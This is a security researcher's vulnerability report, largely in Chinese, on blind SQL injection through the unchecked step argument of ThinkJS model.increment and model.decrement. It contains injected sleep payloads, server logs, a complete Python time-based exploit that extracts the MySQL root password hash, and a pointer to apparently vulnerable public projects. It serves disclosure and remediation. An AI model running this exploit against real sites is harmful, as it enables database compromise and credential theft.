

Vulnerability Report: Thinkjs Blind SQL Injection

本文档描述了Thinkjs project的一个盲注漏洞，由于关系数据库中 `model.increment(field, step)` 和 `model.decrement(field, step)` 函数对 `step` 的参数缺少检查，恶意的参数可以导致程序在处理增加减少 `field` 变量值时产生盲注。

Test Environment

- thinkjs: 3.2.10 ,master branch, last commit [b25986d](#)
- nodejs: 11.10.0
- mysql: 5.7.27
- os and hardware: Mac OS X 10_12_6

Vulnerability Location

漏洞位于关系数据库中的 `model.increment(field, step)` 和 `model.decrement(field, step)` 函数，[关系数据库 - ThinkJS 文档](#)

```
model.increment(field, step)
```

```
    field {String} 字段名  
    step {Number} 增加的值, 默认为 1  
    return {Promise}
```

字段值增加。

```
module.exports = class extends think.Model {
```

```
  updateViewNums(id){
```

```
    return this.where({id: id}).increment('view_nums', 1); //将阅读数加 1  
  }
```

```
  updateViewAndUserNums(id) {
```

```
    return this.where({id}).increment(['view_nums', 'user_nums'], 1); //将阅读数和阅  
读人数加 1
```

```
  }
```

```
  updateViewAndUserNums(id) {
```

```
    return this.where({id}).increment({view_nums: 2, user_nums: 1}); //将阅读数加2,  
阅读人数加 1
```

```
  }
```

```
}
```

```
model.decrement(field, step)
```

```
    field {String} 字段名  
    step {Number} 减少的值, 默认为 1  
    return {Promise}
```

字段值减少。

```
module.exports = class extends think.Model {
```

```
  updateViewNums(id){
```

```
    return this.where({id: id}).decrement('coins', 10); //将金币减 10  
  }
```

```
}
```

变量 `step` 代表传入的需要增加或减少的数值, `field` 代表传入的需要增加或减少值的更新依据。如果用户可以控制变量 `step` 的值, 使其为一个完整的 `sql` 可执行语句, 如:

(`select if(1,sleep(2),1)`), 函数 `model.increment` 和 `model.decrement` 在处理更新数据时会发生盲注攻击。

Local Test

根据 [官方文档](#)快速入门介绍,在本地搭建测试用例:

```
jiguang@thinkjs_sql_demo$ npm install
npm WARN y@1.0.0 No repository field.

audited 5194 packages in 12.501s
found 53 vulnerabilities (23 low, 5 moderate, 24 high, 1 critical)
  run `npm audit fix` to fix them, or `npm audit` for details
[jiguang@thinkjs_sql_demo$ npm start

> y@1.0.0 start /Users/jiguang/Desktop/thinkjs_sql_demo
> node development.js

[2019-09-24T14:40:51.232] [57596] [INFO] - Server running at http://127.0.0.1:8360
[2019-09-24T14:40:51.236] [57596] [INFO] - ThinkJS version: 3.2.10
[2019-09-24T14:40:51.236] [57596] [INFO] - Environment: development
[2019-09-24T14:40:51.236] [57596] [INFO] - Workers: 1
```

修改mysql默认配置和测试路由action:

The screenshot shows a code editor with two main panes. The left pane displays the project's file structure, which includes node_modules, runtime, and src folders containing bootstrap, config, controller, logic, and model subfolders. The right pane shows the content of two files:

adapter.js (Top Right):

```
26 /**
27  * model adapter config
28  * @type {Object}
29 */
30 exports.model = {
31   type: 'mysql',
32   common: {
33     logConnect: isDev,
34     logSql: isDev,
35     logger: msg => think.logger.info(msg)
36   },
37   mysql: {
38     handle: mysql,
39     database: 'security',
40     prefix: '',
41     encoding: 'utf8',
42     host: '127.0.0.1',
43     port: '8989',
44     user: 'root',
45     password: 'root',
46     dateStrings: true
47   }
48 };
```

index.js (Bottom Right):

```
1 const Base = require('./base.js');
2
3 module.exports = class extends Base {
4   async indexAction() {
5     const id = this.post("id");
6     const username = this.post("username");
7     const response = await this.model('users').where({username}).increment("id", id);
8     this.assign("username", username);
9     this.assign("id", id);
10    this.assign("response", JSON.stringify(response));
11    return this.display();
12  }
13}
14
```

访问本地测试首页，测试sql注入，成功执行盲注语句，页面响应耗时4021毫秒：



- 1 **Generate Files**
Run `thinkjs` command to create module, controller, model, service and so on.
- 2 **Documentation**
ThinkJS has online html documents. visit <https://thinkjs.org/doc.html>.
- 3 **GitHub**
If you have some questions, please [new a issue](#).
- 4 **SQL Injection**
`thinkjs sql injection demo`
sql_request: username: jiguang id: (select if(1,sleep(4),1))
sql_response: 1

The screenshot shows the Hackbar tool's interface. At the top, there are tabs for '查看器' (Inspector), '控制台' (Console), '调试器' (Debugger), '样式编辑器' (Style Editor), '性能' (Performance), '内存' (Memory), '网络' (Network), '存储' (Storage), '代码草稿纸' (Code Snippet), 'DOM', '无障碍环境' (Accessibility), and 'Hackbar'. Below the tabs, there are dropdown menus for 'SQL', 'XSS', 'Encryption', 'Encoding', and 'Other'. A search bar contains the URL 'http://127.0.0.1:8360/?name=jiguangggg'. Underneath the search bar are buttons for 'Load URL', 'Split URL', and 'Execution'. The 'Execution' button is highlighted with a red box. A text input field labeled 'Post data' contains the value 'username=jiguang&id=(select if(1,sleep(4),1))', which is also highlighted with a red box.



- 1 **Generate Files**
Run `thinkjs` command to create module, controller, model, service and so on.
- 2 **Documentation**
ThinkJS has online html documents. visit <https://thinkjs.org/doc.html>.
- 3 **GitHub**
If you have some questions, please [new a issue](#).
- 4 **SQL Injection**
`thinkjs sql injection demo`
sql_request: username: jiguang id: (select if(1,sleep(4),1))
sql_response: 1

The screenshot shows the Hackbar tool's interface with the 'Network' tab selected. The table below lists network requests. The first request is a POST to '/?name=jiguangggg' with a status of 200, method POST, and a duration of 4021ms, which is highlighted with a red box. The second request is a GET to 'favicon.ico' with a status of 200, method GET, and a duration of 1.12 ms.

状态	方法	域名	文件	触发源头	类型	传输	大小	耗时	持续日志	禁用缓存	不节流	HAR
200	POST	127.0.0.1:8360	/?name=jiguangggg	document	html	2.15 KB	1.96 KB	0毫秒	2.56秒	4021毫秒	5.12秒	
200	GET	127.0.0.1:8360	favicon.ico	img	vnd.microsof...	已缓存	1.12 KB					

通过查看后台访问日志，可以看到sql语句执行成功：

```
[2019-09-24T14:47:51.106] [57651] [INFO] - SQL: UPDATE `users` SET `id`='id'+(select if(1,sleep(4),1)) WHERE (`username` = 'jiguang'), Time: 4009ms
[2019-09-24T14:47:51.114] [57651] [INFO] - POST /?name=jiguangggg 200 4020ms
```

利用时间盲注特性，编写注入利用脚本测试：

```

import requests

def exploit():

    password = str()
    alphabet = "*0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    url = "http://127.0.0.1:8360/"
    for num in range(1, 42):
        for bet in alphabet:
            data = {"username": "jiguang", "id": "(select if(mid((select authentication_string from mysql.user where User='root' limit 1),%d,1)='%s',sleep(2),1))%"%(num, bet)}
            response = requests.post(url=url, data=data)
            if response.status_code == 200 and response.elapsed.total_seconds() > 1:
                password += bet

    print(password)

if __name__ == '__main__':
    exploit()

```

经过100s访问后，脚本成功获取了数据库root账户密码：

```

.
├── doc
├── node_modules
├── runtime
└── src
    ├── bootstrap
    │   ├── master.js
    │   └── worker.js
    ├── config
    │   ├── adapter.js
    │   ├── config.js
    │   ├── config.production.js
    │   ├── extend.js
    │   ├── middleware.js
    │   └── router.js
    ├── controller
    │   ├── base.js
    │   └── index.js
    ├── logic
    │   └── index.js
    └── model
        └── index.js
3  import requests
4
5  def exploit():
6
7      password = str()
8      alphabet = "*0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
9      url = "http://127.0.0.1:8360/"
10     for num in range(1, 42):
11         for bet in alphabet:
12             data = {"username": "jiguang", "id": "(select if(mid((select authentication_string from mysql.user where User='root' limit 1),%d,1)='%s',sleep(2),1))%"%(num, bet)}
13             response = requests.post(url=url, data=data)
14             if response.status_code == 200 and response.elapsed.total_seconds() > 1:
15                 password += bet
16
17     print(password)
18
19
20
21
22 if __name__ == '__main__':
23     exploit()

*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[Finished in 100.0s]

```

Vulnerability impact

Thinkjs由[奇虎360最大的前端团队奇舞团](#)开发，目前已经获得了4952stars，存在大量用户

thinkjs / thinkjs

Code Issues Pull requests Actions Projects Wiki Security Insights

Use full ES2015+ features to develop Node.js applications, Support TypeScript. <http://www.thinkjs.org/>

thinkjs babel typescript es2015 koa2 esnext

3,097 commits 8 branches 0 packages 80 releases 47 contributors MIT

Branch: master New pull request Create new file Upload files Find File Clone or download

lizheming Create FUNDING.yml Latest commit b25986d Sep 13, 2019

通过github搜索基于thinkjs框架编写的程序，获得了大量结果，其中很多程序显然也存在盲注问题：

```
69
70  /**
71   * 会员充值
72   */
73 async rechargeAction() {
74   if (this.isAjax('POST')) {
75     const data = this.post();
76     const self = this;
77     const insertId = await this.db.transaction(async () => {
78       await self.db.where({id: data.id}).increment('amount', data.balance);
79       const amount_log = await self.db.where({id: data.id}).getField('amount', true);
80       return await self.model('balance_log').db(self.db.db()).add({
81         admin_id: self.user.uid,
82         user_id: data.id,
83         type: 2,
84         time: new Date().valueOf(),
85         amount: data.balance,
86         amount_log: amount_log,
87         note: `管理员 ${await get_nickname(self.user.uid)} 为您充值，充值的金额为: ${data.balance} 元`
88       });
89     });
90 }
```

总结

通过本地测试验证了Thinkjs中 `sql盲注` 的存在，并通过编写利用脚本获取了数据库的密码验证了漏洞的存在，通过增加对 `step` 参数的检查可以避免该问题。

by jiguang@Knownsec.com